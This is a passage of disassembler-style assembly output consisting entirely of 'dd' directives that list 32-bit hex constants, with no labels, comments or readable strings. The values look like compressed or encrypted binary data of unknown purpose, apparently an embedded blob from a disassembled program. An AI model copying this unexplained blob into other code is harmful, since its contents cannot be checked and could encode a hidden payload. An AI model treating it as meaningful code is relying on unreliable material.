		dd 625AE100h, 0C376F588h, 0D2382491h, 0A8060320h, 68CEFB6Ch
		dd 89F6A100h, 0A080794Ch, 658A05D7h, 80EFBE2Ch,	0DFBF3235h
		dd 6F2A500h, 3B808982h,	0F4B650D7h, 0D8380043h,	9F749CDh
		dd 0C700D6FCh, 6FB17284h, 0FCF78A3h, 8573CBD4h,	0CA6AC840h
		dd 0D0FD8F79h, 833DB57Ah, 53860031h, 0A0FD03FEh, 2A210758h
		dd 0E0E184B6h, 4D2519B1h, 0E008094h, 297CCA88h,	9BE91F67h
		dd 0B8054048h, 0D3203064h, 40127E00h, 0B9C416F3h, 9FAF0065h
		dd 0C0D052DAh, 0EE0026FAh, 0B0818DEh, 9E230FBh,	830135A5h
		dd 468EBB00h, 44967F1Ch, 36ED0C01h, 0B160B3DEh,	37C3121Dh
		dd 0B5E00043h, 0C77CE30Ah, 4C4F3201h, 0B76F17Bh, 3356424h
		dd 0C8157360h, 2900DE87h, 96B9D928h, 303AF72Fh,	718F39Dh
		dd 993CE764h, 48F9F1Fh,	0E500B428h, 5A262551h, 295DE0h
		dd 0D6ADBA33h, 0C9FE7B7Dh, 0D359CA1Eh, 72DEE341h, 0B18027C4h
		dd 606713E9h, 8500F303h, 0A1D9227Fh, 0E2BC3E9Bh, 9E5903B6h
		dd 35F1D5DDh, 138B61B0h, 0AC4E7900h, 0CA229A33h, 3B80251h
		dd 0C7D06EE7h, 0F32A1860h, 2E3BC209h, 0CF0C802Bh, 7C2367h
		dd 0E6975461h, 0E4BE033Ah, 77F06360h, 1E8FB9EEh, 44277A37h
		dd 0C01C2A68h, 49599C40h, 75A08400h, 3C77D765h,	0C78100CBh
		dd 0AEA95E67h, 2C00266Fh, 4B058CDDh, 0EEAAE3h, 5F1D2E5Ah
		dd 0D94A85E5h, 6C308060h, 7B4BCB7h, 59F2FE6Fh, 0EFF7C0C5h
		dd 240008CAh, 312AD4FFh, 0C89805h, 7F096DE9h, 0C9367B84h
		dd 0CB7C3900h, 58B1BA43h, 0CFD91FA0h, 0F075C077h, 0FD5BF455h
		dd 0A4000BFAh, 9D36AF6Ch, 38CC1Eh, 0E1D04FC3h, 9661BA03h
		dd 0F9A4E500h, 988A6D66h, 0B6F30042h, 6A2E159Eh, 0A3078041h
		dd 22B93370h, 76DA52F0h, 4019005Eh, 0D2E19E3Eh,	4C009548h
		dd 0A2C4CCACh, 0AE46F5h, 5E99E005h, 7A2E13EDh, 0BBCB800Eh
		dd 0B2274078h, 704153Eh, 8F53CF0Ah, 5BFB6040h, 7E007050h
		dd 73B064BDh, 755862F9h, 0D4080086h, 0F121FEC4h, 43006DC6h
		dd 2BC24C5Eh, 38365D8Dh, 7200A4A5h, 0BA57144Fh,	4A00E95Fh
		dd 9CC70ADCh, 0F0E850FBh, 0A8B600ECh, 89C86B21h, 4DF6D34Eh
		dd 0E50A14B2h, 0FC902D02h, 48ECD51Dh, 65BE8881h, 0DC4DC91h
		dd 0C7FC007Ah, 4E02777Fh, 8D604419h, 0D774A430h, 0AD2E00A9h
		dd 0E79D92B5h, 0BE005927h, 0C718146Fh, 24E00B3Eh, 1222987h
		dd 0A3D350A4h, 0B0EDECF5h, 80BC0A3Bh, 6225D481h, 72B8CD9Fh
		dd 0F01A1F75h, 7CC3876Bh, 80D11039h, 4409A3AEh,	419328D8h
		dd 0D2D055C8h, 876F00CBh, 6D8EEAF2h, 0AA01070Eh, 0C522294Fh
		dd 1D604931h, 0F5ECA2h,	0E1E57EF7h, 0B606A018h,	23BE3600h
		dd 3BDB5397h, 14EE1233h, 0A7940729h, 3D4BC099h,	0E83C1650h
		dd 74708037h, 95D5F883h, 6D7500F0h, 3A5C229Eh, 5B90537Ch
		dd 82002175h, 89965779h, 49770B5h, 29C81488h, 114480A0h
		dd 9D583FD4h, 0F10300EDh, 0A57CE566h, 0FF71F9Ch, 293640C3h
		dd 2F5127D0h, 9FC8EE02h, 0E052CDABh, 0B9B71Ah, 5B5E2CEDh
		dd 0B49EF740h, 2000EBF4h, 77591E75h, 0EDDFCC6h,	296D7CA1h
		dd 0AF166F20h, 0BE172AA3h, 0C440F70Fh, 303743B9h, 562200D3h
		dd 7208F24Fh, 0EC050E6Bh, 0CE29868Ch, 5C125C1h,	0E364E0DAh
		dd 7C7E0448h, 0C0526A04h, 0B7338832h, 79A63E58h, 9C287928h
		dd 0FAFE0B05h, 0F8D0C183h, 0F8884E0Ah, 65AE02D4h, 916F6943h
		dd 76EB360h, 990A2760h,	3D839C4Dh, 1780D390h, 25B043A9h
		dd 0C2005595h, 0D5688437h, 0E7E7C4Ah, 935960EBh, 0A8447600h
		dd 32008B15h, 239B24B8h, 7AC35C9h, 5849DD0Dh, 538ED198h
		dd 303908h, 0C8D6962Ch,	0E52DCBDDh, 0C539A0F3h,	0CA20C6ECh
		dd 0E12210BDh, 0E578FBh, 0B759FD24h, 6B2A8B7Dh,	41580902h
		dd 402D52BCh, 7E47ED35h, 93D8006Ah, 0DD2F1A63h,	0A41EC919h
		dd 6C802A9Ch, 5BA18E3Bh, 0FC04071Ch, 0D0CD7E5Ch, 28FB4696h
		dd 6F660605h, 0E781BBC2h, 4E70D9EFh, 90340076h,	4AC8290Dh
		dd 0FD034C21h, 2FB02072h, 269839CDh, 97298E04h,	0C2E49046h
		dd 0BCA8AC6Eh, 650EFE2Eh, 9CE63305h, 0C3B93102h, 2A108070h
		dd 304699h, 929DF5E4h, 0A83F02E8h, 0D006D72h, 97B393FBh
		dd 0B6BF73h, 8A9560D9h,	0D7C9F4EAh, 346E442Ch, 90A92D01h
		dd 80864871h, 88AFD5BAh, 0F54A27F6h, 59BCC80Ch,	90B12510h
		dd 0DA4CDC02h, 25F74522h, 31140EA8h, 0D93811F1h, 22F94611h
		dd 0CF573D94h, 7713692h, 0D790552Ch, 76AC7081h,	0C71D8C9Ch
		dd 5EC0BC58h, 0FB573ACFh, 445A1EADh, 187B0F1Ch,	0F998ED40h
		dd 0B1000A56h, 9743F29Fh, 7ED6C15Ah, 0C82B480Eh, 3FBD8524h
		dd 5701A38Bh
		dd 177E00A1h, 465C204Ah, 814DB5Dh, 743005h, 14D5E57Ah
		dd 18327CEFh, 4041284Bh, 0E1A55Fh, 30474246h, 75D413C6h
		dd 0DF9C5D00h, 5CD77CBCh, 0FEFB0054h, 95425879h, 47F8EDE7h
		dd 0F9367A00h, 4A6C84D3h, 19EF609Dh, 0E4813E82h, 99059400h
		dd 0D4E62A3Dh, 3B48079Ch, 0F0C564ADh, 98B9C138h, 0E3325700h
		dd 0F48571C9h, 6C9100D1h, 9C16D5E6h, 301AC90h, 99B1BBB6h
		dd 89402774h, 95B345h, 8E027EEDh, 2C63CC71h, 8F506D0Eh
		dd 0ECD7208Ah, 8F038h, 0F1965666h, 133F52A1h, 0B673AB00h
		dd 2754F622h, 0F42A75ADh, 0A36D0EB7h, 140EE56h,	2C5221BCh
		dd 0D66A7412h, 0B76E4800h, 24894E5Eh, 0E437D96h, 0C4EF997Bh
		dd 0DFA4B461h, 76846040h, 6851E732h, 0F07C58C6h, 52E092h
		dd 6EE1B105h, 9B7C922h,	0E8965C28h, 1B26EE12h, 0D60350CEh
		dd 0AC051279h, 0CC0D2FE0h, 0D035A615h, 61740FF0h, 0FCEE41CEh
		dd 19F0EA83h, 60D8B09Fh, 71264993h, 2207B575h, 0CDC096A7h
		dd 0B0FC3F43h, 3E3E51BAh, 2516052Ah, 0AFC10FC5h, 0D2380BCCh
		dd 3231C39h, 81EA6BF6h,	14704C0Ch, 3C73A000h, 0F0795662h
		dd 779C3300h, 1A983D9Dh, 1649A5Bh, 6F09EE16h, 283E144Dh
		dd 0C600050h, 0A6D226E6h, 30C4F6A0h, 2CC9DA41h,	0B0495E0Bh
		dd 0FF421C60h, 5501F8A6h, 3F8812A5h, 0AA4C70h, 28BF3976h
		dd 0E303D595h, 0EE125D77h, 7F80B1E5h, 38475C1h,	1ECCEDF7h
		dd 5006BB71h, 211788C3h, 0F4AA0ED8h, 6C40A1E5h,	0D2ACF10Ah
		dd 65A04B60h, 0FFFEBD0h, 0FDB9EE6Bh, 133DD560h,	0D83AF2BBh
		dd 284C3294h, 5C504Dh, 59A1D653h, 76B6D9A2h, 3083D102h
		dd 0C485EE62h, 5F8A3FB0h, 23DC430Bh, 0FD222920h, 0AA005076h
		dd 0CB1F9A2Fh, 7D1959A5h, 0F7A0C5ACh, 0F136C0BFh, 697CB37Ch
		dd 0AC31FA2Eh, 0E0E9470Eh, 61A4703Ch, 20190ECFh, 0B200E53Dh
		dd 0C1840876h, 0E0955701h, 0DACE46A2h, 131443E0h, 4532F4h
		dd 64883780h, 670051ECh, 4D710B83h, 8D279Fh, 0A841BA30h
		dd 4061DA12h, 9D5AF600h, 8A7AD6DEh, 9BF700FFh, 0B9161D5Eh
		dd 33013A3Eh, 6CD556D1h, 9B4158FDh, 0A4FCBB2Fh,	35CC0046h
		dd 55D46783h, 0C24877A2h, 893C90h, 2BBACA58h, 0B82896h
		dd 0D91A3C3Eh, 0D794CC33h, 0D03924h, 0BD029DBDh, 1B87294h
		dd 438ED76h, 108F832Fh,	0E00EA42h, 0F23B8490h, 33A41C50h
		dd 2656A00h, 0AD632143h, 66D13E4h, 0FA2400CEh, 0F17C2695h
		dd 2A12E00Fh, 0AC033678h, 80887427h, 1DCFE07h, 7D7C812Eh
		dd 0C8D013C7h, 82001799h, 0EEE798C3h, 71721FCDh, 0C04EA9Ch
		dd 5401AFC1h, 0A272E611h, 2B21AB02h, 0C0044EB3h, 0D42C20F8h
		dd 0EA148816h, 500F4ACh, 2477C58Bh, 9301E171h, 0AEFC5440h
		dd 0FC30365Bh, 96A004F3h, 807B8B8Ah, 0D79CAC2Ah, 0F49C4A50h
		dd 83E72B3Bh, 1182BE0Ch, 0A45B98FAh, 8722096Bh,	3D0A700Bh
		dd 0CC1883A8h, 17B0BF26h, 0BD4CD139h, 0A55B007Ah, 788C9932h
		dd 0F75A2433h, 62EC00E8h, 61F6722Fh, 90BFD300h,	35CE2744h
		dd 709F0053h, 99D6929Ah, 4348FBC3h, 9B790924h, 4230A32Eh
		dd 62BBE8B7h, 0DAE40997h, 0F820BD96h, 212C64Fh,	2F055290h
		dd 50C55D1Eh, 0A6468CD0h, 0AEB90313h, 75CB571Bh, 0BD00B9C7h
		dd 0D0FD60D2h, 749050E6h, 0C43DF301h, 17307ABDh, 19CD8884h
		dd 0E4830042h, 58A83Eh,	0C263531Dh, 0E622D857h,	0D9B0D600h
		dd 234372C1h, 0B7B9C0B3h, 0D26BE408h, 8B03E603h, 0E01FCCF1h
		dd 3AB00Dh, 5A9227C2h, 0DA76BFE2h, 575E1C00h, 787F09FAh
		dd 9CDE131Bh, 0B9400096h, 54D751B3h, 80FAED24h,	3AAF7F00h
		dd 74AB017h, 0E2F438B7h, 6820B934h, 0FDB3DE21h,	0DFF12301h
		dd 5613021Dh, 0F7743E8h, 95B2E073h, 0EFCD6680h,	760012F1h
		dd 85F30754h, 7E2364h, 15D7FD04h, 9A4B080Bh, 7A8C8709h
		dd 0F87108F0h, 274C9884h, 0D13D2307h, 0F058F99Bh, 64946BB8h
		dd 41024A11h, 62A3C4B6h, 54179879h, 5A14C202h, 79DC7864h
		dd 46A50A43h, 86F4990Ah, 7C7D772Ch, 0A2D5D300h,	44EE9D6Bh
		dd 0EB750008h, 1BA119D2h, 68C12AB7h, 66F23301h,	928BFCh
		dd 3E4A35EAh, 9663BCC5h, 0ADFD900h, 8C4FD65h, 0AB0C008Eh
		dd 2FE7977Ch, 0D30068E3h, 7E8A04E5h, 2C9957B3h,	8FD42450h
		dd 0F7008FC3h, 96E40955h, 34D4300h, 163C579Bh, 346A00AEh
		dd 95B7C42Ch, 280039E8h, 89CCCD9Ah, 0C71BCA77h,	206BAE11h
		dd 0C3EE26FCh, 0A9E64407h, 67608E39h, 61D16CCh,	9B1CE83Ah
		dd 0C5007133h, 0B85AC879h, 7F017Bh, 0EDB6A0C2h,	2655A6FEh
		dd 9DC30407h, 0E1104B8Fh, 9A3521Ch, 4C40F05Ch, 0AC5104C0h
		dd 6BC8CE00h, 8AE6EE8Bh, 30A0071h, 1E2554A6h, 450E35C1h
		dd 0C09E593Eh, 0E17AF3F9h, 9C1407E5h, 2032BA02h, 0D74F9B1Fh
		dd 0EA2F3704h, 0A3012210h, 0F9259396h, 0A538DC05h, 8AFB2715h
		dd 681D04DCh, 0FCC02E6Eh, 1E524083h, 818295FEh,	0B3F810C1h
		dd 6CB434D9h, 0E62EE300h, 3A606711h, 69AA0079h,	0D0F4133Eh
		dd 52001AC9h, 0ED597EBBh, 3E3C0B9Fh, 4BB1C2h, 8E24A55Ch
		dd 281FBC30h, 0EB98F7ABh, 901F0159h, 8BAA0388h,	0E02361E9h
		dd 898E06F8h, 8190F09Ch, 40007320h, 0AB2332E0h,	0B438BE87h
		dd 0D4A90738h, 42109097h, 0FC0095DAh, 0EBA7EC53h, 90BAFF66h
		dd 0D11504B5h, 0C02A91C0h, 0FB3FA6BCh, 4EB79900h, 5FC88A0Bh
		dd 0DC741D1Ch, 4A118473h, 3024C034h, 320965DEh,	64035389h
		dd 0B59140C4h, 3E19AA80h, 3201D205h, 4EA9F5C4h,	3C28BCE0h
		dd 689800BCh, 0AF641E3Eh, 0CD4B30h, 0AD065480h,	7E84BE28h
		dd 0F152F8CAh, 8F0C56D2h, 88462901h, 9B3D19FFh,	36FC021Fh
		dd 0C02A4A14h, 0CF635CAh, 34A12566h, 320A9370h,	5804538Ah
		dd 0BD206A90h, 97C5CD25h, 0C0919CC0h, 3FA7A66Ch, 0C83AD48Fh
		dd 7F160F78h, 64FB498Ah, 2BA319A8h, 0E10971FAh,	0AA5A3046h
		dd 347E4703h, 0A769F624h, 40A1986Ch, 33000FA8h,	5EB84820h
		dd 0F8A2C59Bh, 0C9BFE8E0h, 8F82E449h, 0F45E3850h, 0BC2A89h
		dd 0CCDDEAE4h, 0FCBB00F3h, 5B9FD402h, 0C303CDBEh, 0A7B10432h
		dd 0F0D1A054h, 78C631E0h, 81919251h, 1062A808h,	0B9F0B23Fh
		dd 0B080A853h, 0D8F60F0Eh, 0AAC1FC2Fh, 0CC6A9141h, 77001B7Dh
		dd 66B8AD26h, 6F349CCAh, 190AC872h, 0D11119FCh,	4E3720A9h
		dd 0EC2F51C0h, 1C4533Dh, 3150B410h, 40C264F8h, 2D52A9C0h
		dd 77CA7400h, 0AA8E2A62h, 1A7E06B1h, 6E6D0553h,	344BB8FEh
		dd 0D0030CAh, 6425EFCFh, 51EE724Ah, 335A38h, 17CB6A83h
		dd 128E722h, 0C1972D95h, 4730512Ch, 43EE5050h, 127ED867h
		dd 0D18FBD3Ah, 18352030h, 0B8F9EC05h, 0C12DC2Bh, 78D6B0B4h
		dd 51080FE4h, 44832B07h, 23B8F7FBh, 300401A5h, 53A3F18Ah
		dd 0A360FC3h, 0DE2CB870h, 711124h, 0FEC36488h, 2837F8CDh
		dd 0C51BBh, 0F532EC5Ch,	0E1759A67h, 1D798901h, 0BACEDCE8h
		dd 28820F21h, 63C5AE94h, 449A7360h, 892EC8F9h, 0C1815400h
		dd 3A5AD0D6h, 0B39600EEh, 6FC3ED58h, 0AE000964h, 0B42BE915h
		dd 1C478Eh, 0A267D1Dh, 0B38C2EF7h, 286D4900h, 16BD1B14h
		dd 1D3701EEh, 2147AF89h, 0F511C02Ah, 0F709E61Dh, 0EEE3CC40h
		dd 627007BEh, 59F6718Ah, 0D60497h, 1AA36587h, 0F70D4D42h
		dd 5100A2F8h, 0D7407C4Eh, 378249h, 92C75FEDh, 8342FD10h
		dd 59F41613h, 29503B0Ch, 26814435h, 846F9444h, 4251A622h
		dd 95447D21h, 6C22845Bh
		dd 110D4253h, 47219783h, 9057A908h, 9B7A84F9h, 4E153344h
		dd 0E5217160h, 909FB708h, 917A8F1Fh, 8D08D121h,	840B90A6h
		dd 0BD486480h, 0FA85D41h, 1114F701h, 0A912654Bh, 24DA1E11h
		dd 669E21E3h, 35109512h, 8CF89ABh, 816844CEh, 7B94488h
		dd 985E18DCh, 7E7D90FBh, 99005417h, 0B46F3261h,	8F5343h
		dd 1CCF54Ch, 0EEECD0E4h, 0DF00400h, 2C0E23C3h, 2B4001A4h
		dd 66DB7E44h, 0F88D4087h, 3C1DE2A1h, 4D80D7BBh,	0C825E9AAh
		dd 985D00C0h, 0DDE443F5h, 7A01CF0Ch, 17775C4Bh,	0FD60D635h
		dd 0F840026h, 0A11CE0B5h, 0D5055DCEh, 0EFF3DBBBh, 0F6889EC0h
		dd 0EA21C085h, 0B083BA4Ch, 1A1D5100h, 0E702953Dh, 0CA5902B4h
		dd 3CE8636Bh, 293A4840h, 2CEF993Ah, 0A400E975h,	6D316A85h
		dd 71E7726Fh, 76900019h, 0EBAC3A96h, 0B9010F2Fh, 6923604Ch
		dd 55C435E7h, 0DBBA0079h, 9B6771Dh, 8F38406Fh, 37D38C3h
		dd 0FFE8E35h, 327811EBh, 0DD5D0FE9h, 60C66FB7h,	0AF5A604Dh
		dd 1C7E7476h, 5C117FEAh, 50817AF6h, 0BBC86594h,	3F3BF0D3h
		dd 6E064C00h, 77272A61h, 940A07ADh, 8016C0DBh, 1A496455h
		dd 86894701h, 8E171129h, 986990E7h, 855A002Dh, 0EFF14807h
		dd 53032654h, 0FC51677Dh, 0F8EA90D6h, 0F4B50105h, 9DD7615Dh
		dd 0BEDC40Dh, 41C58900h, 0B6D158E3h, 54D20E69h,	0FC86B2CCh
		dd 9800FADAh, 0D574B7F9h, 0FE9747h, 2AAD9605h, 3A042B03h
		dd 9C4A1528h, 0F45E3100h, 0CC1E4E42h, 0C2460309h, 49ABD09Ch
		dd 943F200Eh, 72FF80D3h, 0D915Dh, 0A0566DBAh, 2A36DFF5h
		dd 0AC0CF0FCh, 896BDBAFh, 0FFC30087h, 2FE3B244h, 0A72CC1BAh
		dd 3F05BCE7h, 0B80F1334h, 0FA9160D0h, 2B0A0E9h,	0CC860919h
		dd 0E4802535h, 74B4050h, 27D8711Fh, 875B340h, 97A0A6h
		dd 0B574C729h, 0D255E647h, 0A2645Ch, 0EBA49E6Dh, 5B3106h
		dd 0FA5832C9h, 0C00A8A63h, 0CA1C8EF0h, 41405C79h, 72E047F3h
		dd 82DC1D5Eh, 241580F7h, 91504A78h, 80FD6439h, 0CBF8628Dh
		dd 0CD2B5Ah, 0E92FB86Fh, 1C8A5951h, 1D132D1Fh, 932A08C0h
		dd 0F6DFFD22h, 24040035h, 34F54A9Bh, 570005ACh,	0C86762B0h
		dd 7708E23Dh, 4D98E09Eh, 61CCC17h, 45F7CE33h, 5B0C4623h
		dd 9000807Ah, 74A41987h, 76869502h, 0E6E0254h, 0C958E1CBh
		dd 8AC20443h, 0C08BD885h, 8DFA4864h, 96428F00h,	0B4533162h
		dd 0FCC16073h, 46E0D587h, 741279B8h, 400D904h, 83A77399h
		dd 6B168075h, 0E00094F6h, 8D9C9D3Ch, 0E286DCF2h, 0E2EA69h
		dd 63AE27BDh, 19C36885h, 30466102h, 4066B565h, 0B76208h
		dd 0D90CC1A1h, 0EEE9E3C3h, 0AF8E1600h, 291DCE10h, 3BF9790Eh
		dd 6002EB8h, 79546423h,	55E48096h, 0F3188A0h, 4CAD1B1Dh
		dd 6BCC39C3h, 87E8E8D3h, 37003B6h, 239198A1h, 7E0D61F0h
		dd 2D3DD400h, 4E5EF56Bh, 7D12003Fh, 9A2F206Ch, 0CA001484h
		dd 73A836D3h, 78E266h, 208E9B9Fh, 33D67CBEh, 3D4BD49h
		dd 1F8D7E50h, 582207F4h, 899E9Dh, 0AF4575BAh, 0B03A6D77h
		dd 418382C2h, 9862E5A6h, 5C0947DCh, 2A01D873h, 0B252884Bh
		dd 3378C0F1h, 0CC4FF000h, 0D989821Ah, 6EBCA0DBh, 7E6B001Dh
		dd 509B4AB7h, 0B5006720h, 4BC34CEFh, 3940CF8Ch,	47808E6Dh
		dd 0AEDD08CAh, 0A274E9E6h, 8224EA01h, 0D5AB8544h, 0C409E8h
		dd 0B729F020h, 646DC93Eh, 0BAF54Ch, 26C82A57h, 1F9E02D9h
		dd 10E3F7h, 70B92919h, 0B6003B78h, 0F00B0C48h, 73D4FADAh
		dd 0B817000Fh, 800E272Ch, 6C0592BDh, 54C6748Ah,	0DE61D000h
		dd 0FC7CDD4Ah, 9AFC0369h, 0B61886A3h, 0D133A198h, 53C16800h
		dd 4E3D906Ah, 5D6E0004h, 7E8F243Bh, 0AD00420Fh,	0C960F09Bh
		dd 44FB44B3h, 12749603h, 8B9C9F03h, 0F7BE0D02h,	807F4351h
		dd 0E22BFC30h, 0BFABDh,	9830B26Ah, 4A0CEF9Fh, 33840A01h
		dd 6337B781h, 1E451CE4h, 0BB1461FAh, 231255B8h,	0C8E4019Eh
		dd 0D48F74D4h, 3D007D4Fh, 487784CDh, 3BF543D7h,	549D6AF3h
		dd 2DAC65h, 9149F67Fh, 0C2012090h, 0DF41AF78h, 0C420CC5Bh
		dd 0CF10143h, 0D40A762Ah, 6FB07073h, 45088D00h,	64276C8Ah
		dd 445200A9h, 5F35C580h, 1700E09Bh, 2178BB7Fh, 10D5F9h
		dd 31C318FBh, 4F973A1Ch, 0B9583B3Fh, 0AA70826Ch, 0C0829107h
		dd 44CE24D4h, 5B07110Dh, 7C1AF99Ch, 0B6660980h,	257918h
		dd 1CFBBF90h, 0ACA53D7Eh, 2B0FE007h, 86A76D03h,	0EBE22C80h
		dd 7FE91CA2h, 0BC63407Eh, 37C2795Dh, 0E1805F00h, 0C8B1AE20h
		dd 0E0E600B2h, 7656698Ch, 0DB009BCBh, 31244ECh,	8FD858h
		dd 22B17B97h, 0F4CA19B4h, 1B923AC0h, 16B7E9Ah, 8D8F2E72h
		dd 0C831B54Dh, 0A1C74DBh, 0D40032C4h, 0F6D6E54Ch, 29B3E5Bh
		dd 113F2600h, 0A152A3ACh, 0B21EFD00h, 0F007A287h, 16380025h
		dd 709CFF4Fh, 5C000946h, 71E25E19h, 17A6F42h, 0F04AC938h
		dd 0CCA3AFDFh, 22037EEEh, 34850E1Ah, 5499B006h,	0B0200091h
		dd 0C769E953h, 0E6035752h, 2111E5CBh, 3DEAC0B3h, 7C9600E0h
		dd 0DD9239F7h, 7250E871h, 790083ECh, 589E591Ch,	75BD783Ch
		dd 0D994003Eh, 0F4AF7321h, 0CF009303h, 0C20D358Ch, 0F82D0F24h
		dd 4E310045h, 6C4F6383h, 0DCE78064h, 0A5201BBEh, 0E2381081h
		dd 0F69DC021h, 1B87917h, 29B96306h, 349C9891h, 0AB3B091Ch
		dd 0CD13809Bh, 3C85058Ah, 0E8B05045h, 7D677D7h,	8EBEEB27h
		dd 0BF6250FAh, 0FC00DC69h, 1D15BD12h, 1D4C3B4Eh, 90E11Ah
		dd 5E051CC7h, 19C09665h, 0B594D729h, 9086001Eh,	2E11FC0h
		dd 560018CEh, 0E8FF7AE5h, 6EE41Dh, 0B66159CBh, 0BADDEA87h
		dd 0D862A625h, 0F7F00095h, 12CB0A5Fh, 9207A705h, 0BE6FED15h
		dd 0B2753490h, 2C5203C1h, 0EC9B3C61h, 6224CFE8h, 747C2290h
		dd 89923500h, 4EF1C78Fh, 7FDE3DDAh, 0A9996C81h,	0DCFB418Eh
		dd 0EC0095BFh, 0CCFD24F3h, 467B822h, 0EB652723h, 41A88764h
		dd 70D15E1Dh, 0F0B80672h, 60E54Ch, 16CDFFE2h, 0B41F01h
		dd 973B1D32h, 7956394Dh, 0EE596D00h, 8A0CEBE6h,	0F80B1EC6h
		dd 0CC2C00AAh, 0AE4A04C8h, 6221E500h, 3D5C814Ch, 0EF54000Ah
		dd 0A9B6B0BFh, 0CD2E99E2h, 3C81ECA8h, 0AA9F5091h, 0F4FACA60h
		dd 60CCFABEh, 0CAC421A7h, 0DF00D486h, 3D1B5FB0h, 18499EFh
		dd 0EC511CBFh, 0EBCE0CDDh, 0FD606A0h, 89AF1F02h, 0C0A798BDh
		dd 812CD8h, 995029C0h, 0B958365Dh, 0D1CEF800h, 0BE7B2167h
		dd 0E3F200A3h, 0C3C027FCh, 0DB09DCD0h, 82C25D4Dh, 408FDA0Eh
		dd 330F0h, 28359E24h, 0E1118195h, 0F1DBBB1Ch, 12FBC341h
		dd 1020F844h, 0C2861DD7h, 919A80E2h, 0BF0DAE47h, 468EFE00h
		dd 0FEF653Ah, 2DB500B7h, 0B3239338h, 9D00A96Ah,	4E4F150Eh
		dd 1EBA81DEh, 0C09FFD6Ch, 0AE5B6F8Ah, 0BF00862Bh, 481EDFA5h
		dd 830906h, 97AB46CDh, 0A93694C5h, 565ED14h, 0D30101E4h
		dd 0B21BFE13h, 4E98E050h, 7B57003Ah, 5D725569h,	9007589h
		dd 0A5EF0703h, 0DC27E2h, 0B14802C6h, 926620E4h,	7E3E0101h
		dd 3C789C68h, 0DC0BE440h, 0E0B63ECCh, 810CC8AEh, 7118885Bh
		dd 17CDC087h, 0BA7DC912h, 4A283000h, 78998BFCh,	367AD4h
		dd 2BD30CE3h, 304F6433h, 7EF71332h, 9738831Ch, 1F2879D2h
		dd 0E8139F2Ah, 0C22F00ADh, 0C0594298h, 0CA005FDFh, 4FB76EADh
		dd 874435h, 17EC737h, 9E750FA8h, 7122EE2h, 2100D5B3h, 66AFD289h
		dd 0B1D95B6Eh, 0A5BBC76Ch, 0D8EBF7F8h, 0B00F472h, 1DC708DBh
		dd 15EAF18h
		dd 492C545Fh, 2050D933h, 0CA7C758Ch, 0A990F100h, 8FAE107Dh
		dd 4A2C7B9Ah, 54B40072h, 0A47E67D5h, 173A5100h,	38277182h
		dd 0FB9200A3h, 0DCAFC156h, 0C705DD74h, 32180F58h, 25AAEC80h
		dd 0CFFC0FBCh, 79AF7DEDh, 11CD8EE0h, 4F00EE68h,	445A0550h
		dd 4F76B65h, 0E6A7655h,	307887B1h, 2D9D1CADh, 30E0E302h
		dd 0E08B7FEDh, 3F3FE710h, 0B4507847h, 76B90C0Bh, 0D811C28Eh
		dd 0A531F9B0h, 186911D6h, 2BCB5A8Eh, 0E4018AC0h, 4F1DF38Dh
		dd 1C807DDBh, 55AA9A6Dh, 2A3A0039h, 0F7844074h,	0F2044AA6h
		dd 0A4E41B35h, 52D8A0h,	0C0588A90h, 0DFBF4C6h, 3E058FE2h
		dd 6E96C38Dh, 49F5F880h, 40A6072Bh, 0F0594A10h,	0C9E01204h
		dd 0AC777900h, 5987417h, 2CAFE8Bh, 4084CEBCh, 0D4782F5Bh
		dd 80D6F000h, 0EA6A8A52h, 13FF893h, 41C5E1E0h, 30C8C720h
		dd 0C312554Fh, 541D1751h, 46B60747h, 0B07F78F0h, 398C136h
		dd 9CC9C2B9h, 25405578h, 18A890D3h, 928B039h, 1C55CADh
		dd 28D2B8C8h, 73CEB4Ch,	9E568564h, 0FB108467h, 0FE9691A9h
		dd 0B37400C6h, 0D9D77043h, 95006A10h, 0FBCEFE19h, 0F4E313D2h
		dd 0F52500BFh, 0EB39AB22h, 5276DB4Eh, 809FC03h,	934FB664h
		dd 0A8ED042h, 99E6ACh, 1D0B317Eh, 3405DAADh, 0B5DD1C03h
		dd 0E17438D6h, 54ECC697h, 7A6C1EB0h, 0A35543E1h, 66D0231Bh
		dd 0E70F132Dh, 1F3D296h, 1D02D894h, 786C30h, 0F9D5B9CDh
		dd 121EBBE9h, 41DA8602h, 617F7A49h, 0C6700D68h,	1FE67190h
		dd 40A68260h, 143B50F8h, 5BFCA57Fh, 7857863Ah, 2E967658h
		dd 7000BC9Ah, 6D3C348Ah, 92833879h, 0E1AAE2Ch, 22009562h
		dd 35138277h, 0E290AC00h, 0A0D2EE72h, 0D12900E0h, 0BE3AE4C3h
		dd 0CB25E5D6h, 0A0A4207Eh, 9FE87h, 237FEFC2h, 3F840D1Bh
		dd 937635FCh, 626B5Ch, 67EAAE82h, 517641h, 0E3E4C127h
		dd 26A87739h, 5046B100h, 0DF91D271h, 0A7B900DEh, 0F41B9EF5h
		dd 83003C9Fh, 41ADC346h, 0B31107h, 0A3A4045Eh, 0B2F2E933h
		dd 858610C0h, 721526Ah,	56ED6329h, 590A1046h, 770F67B5h
		dd 0C1F2E5DEh, 328F8DBFh, 27B12F4h, 963125D7h, 94519F67h
		dd 81294302h, 0C164E088h, 0EF4C009Dh, 7D3FDA4Fh, 0C600A1C2h
		dd 0A72AFAE0h, 7033F44Ah, 0D8720019h, 0F7039CB4h, 0B00BD92h
		dd 4E7FC17h, 0EEEA1ACCh, 0FF2F00B7h, 432E955Ch,	0C30030F9h
		dd 0D114B999h, 904110h,	7E542756h, 8F9AA5Ah, 2AD98000h
		dd 703B61DCh, 0DD79C04Bh, 0E5C4CE27h, 0C3064700h, 0BE7FC7C5h
		dd 1CBAF668h, 0C1EBF9D6h, 4D0FE4F6h, 0C222E09Dh, 6D1E2A00h
		dd 0CF3F33E5h, 0BD8E0F86h, 21C01A7Dh, 0CB24EF06h, 0F0FDD501h
		dd 0BC6E9D47h, 0A0D1D4h, 0EB220B9Ch, 436B8101h,	0F6EC807Dh
		dd 1300BEF8h, 25CFAEE4h, 0E1C0D2h, 0F1D0C237h, 74E092B9h
		dd 8CE5FE00h, 0EA81CFBDh, 50A902F3h, 7D5196F4h,	403BECD8h
		dd 66958680h, 896FEFh, 504A9F8Fh, 0F7455904h, 7468F3h
		dd 2BD9F01Dh, 5C4C01E9h, 0EF009819h, 0BC3BFCACh, 930012D8h
		dd 0CA90534Ah, 0E8E4E579h, 247F9Bh, 0FE81283Fh,	13168752h
		dd 0DE216102h, 60B25CF4h, 5A40228h, 9ED9495h, 1620848Bh
		dd 848C10D7h, 6ADC700h,	34A67607h, 0B8199C0Eh, 0FCDA5E39h
